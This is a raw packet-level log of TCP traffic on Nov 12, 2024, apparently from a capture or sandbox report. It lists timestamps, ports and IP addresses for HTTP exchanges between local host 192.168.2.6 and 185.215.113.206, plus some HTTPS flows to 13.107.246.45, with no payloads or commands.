Nov 12, 2024 13:35:13.425479889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425492048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425503016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425514936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425527096 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.425529003 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425555944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.425584078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.426013947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.426027060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.426039934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.426053047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.426068068 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.426096916 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.426398993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.426410913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.426424026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.426449060 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.426467896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.452444077 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.452476978 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.452573061 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.452606916 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.452651978 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.472810030 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.472882986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.472958088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.472969055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.472997904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.473017931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496433973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496453047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496464968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496479034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496485949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496495962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496503115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496514082 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496517897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496526957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496536970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496550083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496552944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496561050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496572018 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496582985 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496594906 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496602058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496615887 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496618032 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496623993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496634007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496635914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496646881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496658087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496670008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496690989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496711016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496740103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496750116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496789932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496882915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496893883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496906042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.496932983 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.496947050 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.542773008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.542785883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.542798042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.542864084 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.542891979 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543349028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543359995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543371916 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543409109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543486118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543512106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543539047 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543678045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543692112 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543726921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543751955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543824911 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543834925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543844938 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543875933 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543904066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.543972969 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.543984890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544039011 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.544122934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544136047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544176102 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.544706106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544717073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544728041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544739962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544749975 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.544771910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.544796944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.544796944 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.569700956 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.569730043 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.569814920 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.569838047 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.569888115 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.590012074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.590069056 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.590080976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.590097904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.590126038 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.612466097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.612541914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.612560034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.612572908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.612606049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.612626076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.612797976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.612816095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.612827063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.612839937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.612853050 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.612874985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.612905025 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.613219023 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613229990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613274097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.613380909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613392115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613404989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613411903 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613418102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613430977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.613466024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.613871098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613881111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613890886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613908052 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613919973 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613922119 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.613934994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613946915 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.613949060 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.613966942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.613993883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.614443064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.614490986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.614562035 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.614573956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.614605904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.614617109 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.614782095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.614799023 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.614831924 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.614844084 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.659785032 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.659811974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.659912109 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.659915924 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.659956932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.659977913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660017014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660129070 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660140991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660151958 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660182953 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660213947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660413980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660423994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660473108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660562038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660578012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660588026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660613060 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660639048 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660849094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660861015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660876989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660890102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660902977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660902977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660914898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.660921097 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660939932 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.660964012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.661407948 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.661421061 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.661468029 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.661652088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.661664009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.661675930 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.661688089 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.661700964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.661706924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.661716938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.661741972 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.686455011 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.686482906 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.686588049 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.686620951 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.686665058 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.707523108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.707587004 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.707593918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.707606077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.707633972 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.707657099 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.729928970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.729995012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730027914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730041981 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730071068 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730091095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730128050 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730184078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730221987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730268002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730351925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730365038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730371952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730400085 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730413914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730608940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730619907 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730632067 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730659962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730671883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730691910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730705976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730720997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730732918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.730752945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730752945 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.730775118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.731245995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.731259108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.731270075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.731280088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.731288910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.731318951 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.731916904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.731959105 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.731998920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.732011080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.732044935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.732187033 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.732198954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.732230902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.732255936 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.777276039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777347088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777357101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777437925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777462006 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.777472019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777504921 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.777534962 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.777636051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777648926 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777659893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777728081 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.777884960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777898073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.777940035 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.778047085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778060913 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778096914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.778270006 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778281927 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778291941 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778302908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778316021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778327942 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.778352022 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.778692961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778706074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778745890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.778923035 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778933048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778944016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778955936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778965950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778971910 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778979063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.778984070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.778990984 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.779012918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.779028893 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.779550076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.779597044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.803569078 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.803594112 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.803663969 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.803683996 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.803725004 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.820786953 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.820797920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.820810080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.820826054 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.820853949 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.820883036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.825062037 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.825109005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.825125933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.825138092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.825174093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.848419905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.848475933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.848479033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.848488092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.848520041 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.848716021 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.848727942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.848740101 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.848768950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.848783016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.849106073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849117041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849128962 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849140882 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849150896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849157095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.849164009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849186897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.849204063 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.849713087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849761009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.849787951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849800110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849812031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849824905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849838972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.849841118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.849865913 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.849898100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.850414991 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.850425959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.850441933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.850452900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.850472927 CET	49709	80	192.168.2.6	185.215.113.206
